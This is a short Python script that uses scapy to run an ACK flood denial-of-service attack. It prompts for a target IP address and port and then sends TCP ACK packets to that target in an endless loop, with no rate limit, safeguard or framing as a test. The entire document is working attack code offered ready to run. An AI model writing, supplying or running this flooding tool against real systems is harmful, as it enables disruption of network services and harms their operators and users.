from scapy.all import *

def ack_flood(target_ip, target_port):
    while True:
        send(IP(dst=target_ip)/TCP(dport=target_port, flags="A"), verbose=False)

target_ip = input("Please enter the target IP address: ")
target_port = int(input("Please enter the target port number: "))

ack_flood(target_ip, target_port)